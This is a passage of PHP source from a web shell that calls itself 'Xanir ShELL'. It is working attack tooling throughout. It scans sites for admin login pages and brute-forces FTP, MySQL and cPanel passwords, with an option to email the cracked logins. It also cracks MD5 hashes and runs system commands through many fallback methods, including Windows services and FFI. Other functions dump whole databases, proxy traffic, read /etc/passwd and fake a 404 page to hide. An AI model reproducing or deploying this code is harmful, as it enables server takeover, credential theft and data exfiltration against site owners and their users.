'cpanel/','cPanel/','cpanel_file/','rcLogin/','formslogin/','autologin/','utility_login/','memlogin/','members/',
'sub-login/','login1/','login_db/','xlogin/','UserLogin/','login-us/','project-admins/','pureadmin/','sql-admin/',
'radmind/','adminpro/','newsadmin/','sshadmin/','administratoraccounts/','admin4_account/','Super-Admin/','AdminTools/',
'cmsadmin/','SysAdmin2/','phpSQLiteAdmin/','server/','database_administration/','power_user/','system_administration/',
'system-administration/','memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp',
'admin/index.asp','admin/login.asp','admin/admin.asp','admin_area/admin.asp','admin_area/login.asp',
'admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/admin.html',
'admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp',
'bb-admin/login.asp','bb-admin/admin.asp','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html',
'admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','administrator/index.html',
'administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',
'moderator.html','moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html',
'admin_login.html','panel-administracion/login.html','admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp',
'administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp',
'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadmin/index.asp',
'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp',
'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','admin-login.html',
'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','administrator/index.asp',
'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp',
'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','siteadmin/login.html',
'account.cfm','admin/account.cfm','admin/index.cfm','admin/login.cfm','admin/admin.cfm','admin_area/admin.cfm','admin_area/login.cfm','admin_area/index.cfm',
'bb-admin/index.cfm','bb-admin/login.cfm','bb-admin/admin.cfm','admin/home.cfm','admin/controlpanel.cfm','admin.cfm','pages/admin/admin-login.cfm','admin/admin-login.cfm','admin-login.cfm','admin/cp.cfm','cp.cfm',
'administrator/account.cfm','administrator.cfm','login.cfm','modelsearch/login.cfm','moderator.cfm','moderator/login.cfm','administrator/login.cfm','moderator/admin.cfm','controlpanel.cfm','admin/account.html',
'adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html','user.cfm','admincp/index.cfm','admincp/login.cfm','admincontrol.cfm','admin/account.cfm','adminpanel.cfm','webadmin.cfm',
'webadmin/index.cfm','webadmin/admin.cfm','webadmin/login.cfm','admin/admin_login.cfm','admin_login.cfm','panel-administracion/login.cfm','adminLogin.cfm','admin/adminLogin.cfm','home.cfm','admin.cfm','adminarea/index.cfm','adminarea/admin.cfm',
'adminarea/login.cfm','panel-administracion/index.cfm','panel-administracion/admin.cfm','modelsearch/index.cfm','modelsearch/admin.cfm','administrator/index.cfm','admincontrol/login.cfm','adm/admloginuser.cfm',
'admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/index.cfm','adm/index.cfm','adm.cfm','affiliate.cfm','adm_auth.cfm','memberadmin.cfm','administratorlogin.cfm','siteadmin/login.cfm','siteadmin/index.cfm',
'admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin/controlpanel.php',
'admin.php','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php',
'pages/admin/admin-login.php','admin/admin-login.php','admin-login.php','login.php','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php','controlpanel.php','admincontrol.php',
'rcjakar/admin/login.php','webadmin.php','webadmin/index.php','webadmin/admin.php','adminpanel.php','user.php',
'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php',
'adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php',
'modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php',
'admin2/login.php','admin2/index.php','adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php','admin1.php','admin1.html','admin2.html',
);
if (strtolower(substr($url, 0, 4)) <> 'http') $url = 'http://'.$url;
if (substr($url, strlen($url)-1, 1) <> '/') $url = $url.'/';
$i = 0;
$ch = curl_init();
foreach ($adminlocales as $admin){
curl_setopt($ch, CURLOPT_URL, $url.$admin);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_CRLF, true);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200){
echo '<a href="'.$url.$admin.'" target="_blank"><label style="cursor: pointer;">[*] '.$url.$admin.'</label></a><br>';
$i++;
 }
}
curl_close($ch);
return $i.'/'.count($adminlocales);
 }
}
if (!function_exists("md5recurse")){
function md5recurse($width, $position, $base_string, $hash, $hash_type, $log_type, $log){
    global $charset, $charset_length;
    for($i = 0; $i < $charset_length; ++$i){
       if($position  < $width - 1) { md5recurse($width, $position + 1, $base_string . $charset[$i], $hash, $hash_type, $log_type, $log); }
       if($hash ==  $hash_type($base_string.$charset[$i])){
	   	$out = $hash.' = '.$hash_type.'('. $base_string.$charset[$i] .')';
		LogFile($out, 'Hash Cracker', $log_type, $log);
		exit();
	   }
    }
 }
}
if (!function_exists("Brute_Force")){
function Brute_Force($server, $port,$timeout,$user, $passwd, $crack_type, $log_type, $log){
if($crack_type == 'ftp'){
	$connection = @ftp_connect ($server,$port,$timeout);
	if($connection){if(@ftp_login($connection,$user,$passwd)) { LogFile('[*] '.$crack_type.'  '.$user.':'.$passwd, $crack_type, $log_type, $log); }}
	@ftp_close($connection);
}elseif($crack_type == 'mysql'){
	$connection = @mysql_connect($server.":".$port, $user, $passwd);
	if($connection){LogFile('[*] '.$crack_type.'  '.$user.':'.$passwd, $crack_type, $log_type, $log); }
	@mysql_close($connection);
}elseif($crack_type == 'cpanel'){
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, "http://$server:$port");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
	curl_setopt($ch, CURLOPT_USERPWD, "$user:$passwd");
	curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
	curl_setopt($ch, CURLOPT_FAILONERROR, 1);
	$data = curl_exec($ch);
	if ( curl_errno($ch) == 28 ) { break;}
	elseif ( curl_errno($ch) == 0 ){ LogFile('[*] '.$crack_type.'  '.$user.':'.$passwd, $crack_type, $log_type, $log); }
	curl_close($ch);
  }
 }
}
if (!function_exists("LogFile")){
function LogFile($out, $crack_type, $log_type, $log){
		if($log_type == 'file'){
			$fp = fopen($log, "a+"); 
			fwrite ($fp, $out."\r\n");
			fclose ($fp);
		}elseif($log_type == 'email'){
			$headers =  MailHeader('[email protected]', 'Xanir ShELL');
			mail($log,$crack_type,$out,$headers);
  } 
 }
}
if (!function_exists("perlshelL")){
function perlshelL($command){
if(extension_loaded('perl')){
$perl=new perl();
ob_start();
$perl->eval("system('".$command."')");
$exec=ob_get_contents();
ob_end_clean();
return $exec;
  }
 }
}
if (!function_exists("comshelL")){
function comshelL($command,$ws){
$exec=$ws->exec("cmd.exe /c ".$command); 
$so=$exec->StdOut();
return $so->ReadAll();
 }
}
if (!function_exists("ffishelL")){
function ffishelL($command){
$name=tmpdir()."\\".uniqid();
$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
$res=$api->WinExec('cmd.exe /c '.$command.' > "'.$name.'"',0);
while(!file_exists($name))sleep(1);
$exec=@file_get_contents($name);
unlink($name);
return $exec;
 }
}
if (!function_exists("winshelL")){
function winshelL($command){
$name=tmpdir()."\\".uniqid();
win_shell_execute('cmd.exe','','/C '.$command.' > "'.$name.'"');
sleep(1);
$exec=@file_get_contents($name);
unlink($name);
return $exec;
 }
}
if (!function_exists("srvshelL")){
function srvshelL($command){
$name=tmpdir()."\\".uniqid('NJ');
$n=uniqid();
$cmd='d:\\windows\\system32\\cmd.exe';
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
while(!file_exists($name))sleep(1);
$exec=@file_get_contents($name);
unlink($name);
return $exec;
 }
}
if (!function_exists("urlPathName")){
function urlPathName($url){
	$pathName = $url;
	$url_info = parse_url($url);
	if (isset($url_info['host']) && ($url_info['host'] != '')){
		$host = $url_info['host'];
		if (isset($url_info['scheme']) && ($url_info['scheme'] != ''))
			$scheme = $url_info['scheme'];
		else
			$scheme = 'http';
		if (isset($url_info['port']) && ($url_info['port'] != ''))
			$port = ':'.$url_info['port'];
		elseif ($scheme == 'https')
			$port = ':443';
		else
			$port = '';
		if (isset($url_info['path']) && ($url_info['path'] != ''))
			$path = trim(dirname($url_info['path']), '/\\');
		if (isset($path) && $path != '')
			$pathName = $scheme.'://'.$host.$port.'/'.$path;
		else
			$pathName = $scheme.'://'.$host.$port;
	}
	return $pathName;
 }
}
if (!function_exists("absoluteURL")){
function absoluteURL($path){
	global $root;
	if (preg_match('|^\w+://|',$path))
		return $path;
	else
		return $root.'/'.ltrim($path, '/');
 }
}
if (!function_exists("http_build_query_ex")){
function http_build_query_ex($data, $prefix=null, $sep='', $key=''){
	$ret = array();
	foreach((array)$data as $k => $v)
	{
		$k = urlencode($k);
		if(is_int($k) && $prefix != null)
			$k = $prefix.$k;
		if(!empty($key))
			$k = $key."[".$k."]";
		array_push($ret,$k."=".urlencode($v));
	}
	if(empty($sep))
		$sep = ini_get("arg_separator.output");
	return implode($sep, $ret);
 }
}
if (!function_exists("replace_src")){
function replace_src($matches){
	global $pmp_filename;
	$url = $pmp_filename.'?act=proxy&pmpurl='.absoluteURL($matches[2]);
	return ' src='.str_replace($matches[2], $url, $matches[1]);
 }
}
if (!function_exists("replace_href")){
function replace_href($matches)
{
	global $pmp_filename, $google_ad;
	$url = $pmp_filename.'?act=proxy&pmpurl='.absoluteURL($matches[2]);
	return ' href='.str_replace($matches[2], $url, $matches[1]);
 }
}
if (!function_exists("replace_url")){
function replace_url($matches){
	global $pmp_filename;
	$url = $pmp_filename.'?act=proxy&pmpurl='.absoluteURL($matches[2]);
	return ' url('.str_replace($matches[2], $url, $matches[1]).')';
 }
}
if (!function_exists("replace_action")){
function replace_action($matches){
	global $pmp_filename;
	$url = $pmp_filename.'?act=proxy&pmpurl='.absoluteURL($matches[2]);
	return ' action='.str_replace($matches[2], $url, $matches[1]);
 }
}
if (!function_exists("replace_dumb")){
function replace_dumb($matches){
	global $pmp_filename;
	$url = $pmp_filename.'?act=proxy&pmpurl='.$matches[2];
	return str_replace($matches[2], $url, $matches[1]);
 }
}















class zipfile
{
    var $datasec      = array();
    var $ctrl_dir     = array();
    var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    var $old_offset   = 0;
    function unix2DosTime($unixtime = 0) {
        $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
        if ($timearray['year'] < 1980) {
            $timearray['year']    = 1980;
            $timearray['mon']     = 1;
            $timearray['mday']    = 1;
            $timearray['hours']   = 0;
            $timearray['minutes'] = 0;
            $timearray['seconds'] = 0;
        }
        return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
                ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['secseconds'] >> 1);
    }
    function addFile($data, $name, $time = 0)
    {
        $name     = str_replace('\\', '/', $name);
        $dtime    = dechex($this->unix2DosTime($time));
        $hexdtime = '\x' . $dtime[6] . $dtime[7]
                  . '\x' . $dtime[4] . $dtime[5]
                  . '\x' . $dtime[2] . $dtime[3]
                  . '\x' . $dtime[0] . $dtime[1];
        eval('$hexdtime = "' . $hexdtime . '";');
        $fr   = "\x50\x4b\x03\x04";
        $fr   .= "\x14\x00";
        $fr   .= "\x00\x00";
        $fr   .= "\x08\x00";
        $fr   .= $hexdtime;
        $unc_len = strlen($data);
        $crc     = crc32($data);
        $zdata   = gzcompress($data);
        $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
        $c_len   = strlen($zdata);
        $fr      .= pack('V', $crc);
        $fr      .= pack('V', $c_len);
        $fr      .= pack('V', $unc_len);
        $fr      .= pack('v', strlen($name));
        $fr      .= pack('v', 0);
        $fr      .= $name;
        $fr .= $zdata;
        $this -> datasec[] = $fr;
        $cdrec = "\x50\x4b\x01\x02";
        $cdrec .= "\x00\x00";
        $cdrec .= "\x14\x00";
        $cdrec .= "\x00\x00";
        $cdrec .= "\x08\x00";
        $cdrec .= $hexdtime;
        $cdrec .= pack('V', $crc);
        $cdrec .= pack('V', $c_len);
        $cdrec .= pack('V', $unc_len);
        $cdrec .= pack('v', strlen($name) );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('V', 32 );
        $cdrec .= pack('V', $this -> old_offset );
        $this -> old_offset += strlen($fr);
        $cdrec .= $name;
        $this -> ctrl_dir[] = $cdrec;
    }

    function file()
    {
        $data    = implode('', $this -> datasec);
        $ctrldir = implode('', $this -> ctrl_dir);
        return
            $data .
            $ctrldir .
            $this -> eof_ctrl_dir .
            pack('v', sizeof($this -> ctrl_dir)) .
            pack('v', sizeof($this -> ctrl_dir)) .
            pack('V', strlen($ctrldir)) .
            pack('V', strlen($data)) .
            "\x00\x00";
    }
}

foreach (array("sort","sql_sort") as $v) {
    if (!empty($_GET[$v])) {$$v = $_GET[$v];}
    if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  }
if (!function_exists("mysql_dump")) {
    function mysql_dump($set) {
      global $sh_ver;
      $sock = $set["sock"];
      $db = $set["db"];
      $print = $set["print"];
      $nl2br = $set["nl2br"];
      $file = $set["file"];
      $add_drop = $set["add_drop"];
      $tabs = $set["tabs"];
      $onlytabs = $set["onlytabs"];
      $ret = array();
      $ret["err"] = array();
      if (!is_resource($sock)) {echo("<label>Error: \$sock is not valid resource.</label>");}
      if (empty($db)) {$db = "db";}
      if (empty($print)) {$print = 0;}
      if (empty($nl2br)) {$nl2br = 0;}
      if (empty($add_drop)) {$add_drop = TRUE;}
      if (empty($file)) {
        $file = "dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
      }
      if (!is_array($tabs)) {$tabs = array();}
      if (empty($add_drop)) {$add_drop = TRUE;}
      if (sizeof($tabs) == 0) {
        $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
        if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
      }
      $out = "
      # Dumped by Mu\$lim PHPShELL
      #
      # Host settings:
      # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
      # Date: ".date("d.m.Y H:i:s")."
      # DB: \"".$db."\"
      #---------------------------------------------------------";
      $c = count($onlytabs);
      foreach($tabs as $tab) {
        if ((in_array($tab,$onlytabs)) or (!$c)) {
          if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
          $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
          if (!$res) {$ret["err"][] = mysql_smarterror();}
          else {
            $row = mysql_fetch_row($res);
            $out .= $row["1"].";\n\n";
            $res = mysql_query("SELECT * FROM `$tab`", $sock);
            if (mysql_num_rows($res) > 0) {
              while ($row = mysql_fetch_assoc($res)) {
                $keys = implode("`, `", array_keys($row));
                $values = array_values($row);
                foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
                $values = implode("', '", $values);
                $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
                $out .= $sql;
              }
            }
          }
        }
      }
      $out .= "#---------------------------------------------------------------------------------\n\n";
      if ($file) {
        $fp = fopen($file, "w");
        if (!$fp) {$ret["err"][] = 2;}
        else {
          fwrite ($fp, $out);
          fclose ($fp);
        }
      }
      if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
      return $out;
    }
  }
  if (!function_exists("mysql_buildwhere")) {
    function mysql_buildwhere($array,$sep=" and",$functs=array()) {
      if (!is_array($array)) {$array = array();}
      $result = "";
      foreach($array as $k=>$v) {
        $value = "";
        if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
        $value .= "'".addslashes($v)."'";
        if (!empty($functs[$k])) {$value .= ")";}
        $result .= "`".$k."` = ".$value.$sep;
      }
      $result = substr($result,0,strlen($result)-strlen($sep));
      return $result;
    }
  }
  if (!function_exists("mysql_fetch_all")) {
    function mysql_fetch_all($query,$sock) {
      if ($sock) {$result = mysql_query($query,$sock);}
      else {$result = mysql_query($query);}
      $array = array();
      while ($row = mysql_fetch_array($result)) {$array[] = $row;}
      mysql_free_result($result);
      return $array;
    }
  }
  if (!function_exists("mysql_smarterror")) {
    function mysql_smarterror($sock) {
      if ($sock) {$error = mysql_error($sock);}
      else {$error = mysql_error();}
      $error = "<font color=red face=Verdana size=-2><b>".htmlspecialchars($error)."</b></font>";
      return $error;
    }
  }
  if (!function_exists("mysql_query_form")) {
    function mysql_query_form() {
      global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
      if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<label>Error:</label> <br>".$sql_query_error."<br>";}
      if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
      if ((!$submit) or ($sql_act)) {
        echo "<table border=0><tr><td><form name=\"fx29sh_sqlquery\" method=POST><label>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</label><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
        if ($tbl_struct) {
          echo "<td valign=\"top\"><b>Fields:</b><br>";
          foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
          echo "</td></tr></table>";
        }
      }
      if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
    }
  }
  if (!function_exists("mysql_create_db")) {
    function mysql_create_db($db,$sock="") {
      $sql = "CREATE DATABASE `".addslashes($db)."`;";
      if ($sock) {return mysql_query($sql,$sock);}
      else {return mysql_query($sql);}
    }
  }
  if (!function_exists("mysql_query_parse")) {
    function mysql_query_parse($query) {
      $query = trim($query);
      $arr = explode (" ",$query);
      $types = array(
        "SELECT"=>array(3,1),
        "SHOW"=>array(2,1),
        "DELETE"=>array(1),
        "DROP"=>array(1)
      );
      $result = array();
      $op = strtoupper($arr[0]);
      if (is_array($types[$op])) {
        $result["propertions"] = $types[$op];
        $result["query"]  = $query;
        if ($types[$op] == 2) {
          foreach($arr as $k=>$v) {
            if (strtoupper($v) == "LIMIT") {
              $result["limit"] = $arr[$k+1];
              $result["limit"] = explode(",",$result["limit"]);
              if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
              unset($arr[$k],$arr[$k+1]);
            }
          }
        }
      }
      else {return FALSE;}
    }
 }
if(isset($_GET['phpinfo'])) {
echo @phpinfo();
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
}
if ((isset($_GET['act'])) && ($_GET['act'] == "proxy") && (isset($_GET['pmpurl']))) {
	if (isset($_GET['pmpurl']))
		$url =$_GET['pmpurl'];
	if (strtolower(substr($url, 0, 4)) <> 'http')
		$url = 'http://'.$url;
	$root = urlPathName($url);
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_HEADER, true);
	curl_setopt($ch, CURLOPT_CRLF, true);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	if (!empty($_COOKIE))
	{
		curl_setopt($ch, CURLOPT_HTTPHEADER, array('Cookie: '.http_build_query_ex($_COOKIE, null, '; ')));
	}
	if (!empty($_POST))
	{
		curl_setopt($ch, CURLOPT_POST, 1);
		if (isset($_SERVER['CONTENT_TYPE']) && (stristr($_SERVER['CONTENT_TYPE'], 'multipart/form-data') !== false))
			curl_setopt($ch, CURLOPT_POSTFIELDS, $_POST);
		else		
			curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query_ex($_POST));
	}
	$data = curl_exec($ch);
	list($header, $doc) = explode("\r\n\r\n", $data, 2);
	if (preg_match('/Location:\s*([^\s\r\n]*)/i', $header, $location_results))
	{
		$url = $pmp_filename.'?act=proxy&pmpurl='.absoluteURL($location_results[1]);
		if ($google_ad) $url .= '&pmpad=1';
		header('Location: '.$url);
	}
	$nbcookies = preg_match_all('/Set-Cookie:\s*([^;=\r\n]*)=([^;\r\n]*)/i', $header, $setcookie_results);
	for ($i = 0; $i < $nbcookies; $i++)
		setcookie($setcookie_results[1][$i], $setcookie_results[2][$i], time() + 3600);
	
	$result = curl_getinfo($ch, CURLINFO_HTTP_CODE);
	if ($result == 200)
	{
		$full_content_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
		header('Content-Type: '.$full_content_type);
		$content_type = explode(';', $full_content_type);
		if (is_array($content_type) && !empty($content_type))
			$content_type = $content_type[0];
		if ($content_type == 'text/html' || $content_type == 'text/xhtml' || $content_type == 'text/xml')
		{
			$doc = preg_replace_callback('/\ssrc=([\\]?[\'"]?([^\s<>\'"]+)[\\]?[\'"]?)/im', 'replace_src', $doc);
			$doc = preg_replace_callback('/\shref=([\\]?[\'"]?([^\s<>\'"]+)[\\]?[\'"]?)/im', 'replace_href', $doc);
			$doc = preg_replace_callback('/\saction=([\\]?[\'"]?([^\s<>\'"]+)[\\]?[\'"]?)/im', 'replace_action', $doc);
			$doc = preg_replace_callback('/url\(([\'"]?([^\)\s\'"]*)[\'"]?)\)/im', 'replace_url', $doc);
			if ($dumb_url_replacer)
			{
				$doc = preg_replace_callback('|([^\w](https?://[\w:/.?=&+-;%]+))|', 'replace_dumb', $doc);
			}
		}
		elseif ($content_type == 'text/css')
		{
			$doc = preg_replace_callback('/url\(([\'"]?([^\)\s\'"]*)[\'"]?)\)/im', 'replace_url', $doc);
		}

		echo $doc;
	}
	else
	{
		header('Content-Type: text/html');
		echo "Http Proxy failed to load your page, sorry (URL: ".$url.")\r\n";
		echo curl_error($ch)."\r\n\r\n";
		if (!empty($data))
			echo $data;
		die();
	}

	curl_close($ch);
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font>".$footer.
die();
}
if(isset($_GET['delete']))
 {
   @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
}
if(isset($_GET['tmp'])) deltmp();
$table_up1  = "<tr><td bgcolor=#000000><font face=Verdana size=-2><b><div align=center>:: ";
$table_up2  = " ::</div></b></font></td></tr><tr><td>";
$table_up3  = "<table width=800 cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#111111>";
$table_end1 = "</td></tr>";
$arrow = " <font face=Wingdings color=gray>?</font>";
$lb = "<font color=black>[</font>";
$rb = "<font color=black>]</font>";
$font = "<font face=Verdana size=-2>";
$ts = "<table class=table1 width=100% align=center>";
$te = "</table>";
$fs = "<form name=form method=POST>";
$fe = "</form>";
if (!empty($_POST['dir'])) {@chdir($_POST['dir']); }
$dir = ((!empty($_POST['win_drivers']))?($_POST['win_drivers']):(@getcwd()));
if(empty($dir))
 {
 $os = getenv('OS');
 if(empty($os)){ $os = php_uname(); }
 if(empty($os)){ $os ="-"; $unix=1; }
 else
    {
    if(@eregi("^win",$os)) { $windows = 1; }
    else { $unix = 1; }
    }
 }
if(strpos(ex("echo xxxXanir"),"Xanir")!=3) { $safe_mode = 1; }
$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
function ws($i)
{
return @str_repeat("&nbsp;",$i);
}
function ex($cfe)
{
 $res = '';
 if (!empty($cfe))
 {
  if(function_exists('exec'))
   {
    @exec($cfe,$res);
    $res = join("\n",$res);
   }
  elseif(function_exists('shell_exec'))
   {
    $res = @shell_exec($cfe);
   }
  elseif(function_exists('system'))
   {
    @ob_start();
    @system($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(function_exists('passthru'))
   {
    @ob_start();
    @passthru($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(@is_resource($f = @popen($cfe,"r")))
  {
   $res = "";
   while(!@feof($f)) { $res .= @fread($f,1024); }
   @pclose($f);
  }elseif($windows && empty($res)){
	$res = comshelL($cfe);
	if(empty($res)) $res = ffishelL($cfe);
	if(empty($res)) $res = winshelL($cfe);
	if(empty($res)) $res = srvshelL($cfe);
  }else{
   $res = perlshelL($cfe);
   }
 }
 return $res;
}
function IpControl($Ip_Iscontroled){
global $AccessIp;
if(!$Ip_Iscontroled) return true;
foreach($AccessIp as $ip){
if(substr($ip,strlen($ip)-1,1) == '*'){
if(substr($ip,0,strlen($ip)-2) == substr($_SERVER['REMOTE_ADDR'],0,strlen($_SERVER['REMOTE_ADDR'])-2)){
return true;
 }
}elseif($ip == $_SERVER['REMOTE_ADDR']){
return true;
 }
}
return false;
}
function deltmp(){
if(file_exists(tmpdir()."/bdpl")) @unlink(tmpdir()."/bdpl");
if(file_exists(tmpdir()."/back")) @unlink(tmpdir()."/back");
if(file_exists(tmpdir()."/bd")) @unlink(tmpdir()."/bd");
if(file_exists(tmpdir()."/bd.c")) @unlink(tmpdir()."/bd.c");
if(file_exists(tmpdir()."/dp")) @unlink(tmpdir()."/dp");
if(file_exists(tmpdir()."/dpc")) @unlink(tmpdir()."/dpc");
if(file_exists(tmpdir()."/dpc.c")) @unlink(tmpdir()."/dpc.c");
if(file_exists(tmpdir()."/back.jar")) @unlink(tmpdir()."/back.jar");
if(file_exists(tmpdir()."/bd.jar")) @unlink(tmpdir()."/bd.jar");
if(file_exists(tmpdir()."./reduh.jsp")) @unlink("./reduh.jsp");
if(file_exists(tmpdir()."./reduh.aspx")) @unlink("./reduh.aspx");
if(file_exists(tmpdir()."./reduh.php")) @unlink("./reduh.php");
if(file_exists(tmpdir()."\\nc.exe")) @unlink(tmpdir()."\\nc.exe");
if(file_exists(tmpdir()."\\dp.exe")) @unlink(tmpdir()."\\dp.exe");
}
function show404(){
print '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL '.$_SERVER['PHP_SELF'].' was not found on this server.</p>
</body></html>';
exit();
}
function get_users()
{
  $users = array();
  $rows=file('/etc/passwd');
  if(!$rows) return 0;
  foreach ($rows as $string)
   {
   	$user = @explode(":",$string);
   	if(substr($string,0,1)!='#') array_push($users,$user[0]);
   }
  return $users;
}
function we($i)
{
if($GLOBALS['language']=="ru"){ $text = ''; }
else { $text = "[-] ERROR! Can't write in file "; }
echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#11111><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";
return null;
}
function re($i)
{
if($GLOBALS['language']=="ru"){ $text = ''; }
else { $text = "[-] ERROR! Can't read file "; }
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#111111><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";
return null;
}
function ce($i)
{
if($GLOBALS['language']=="ru"){ $text = ""; }
else { $text = "Can't create "; }
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#111111><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";
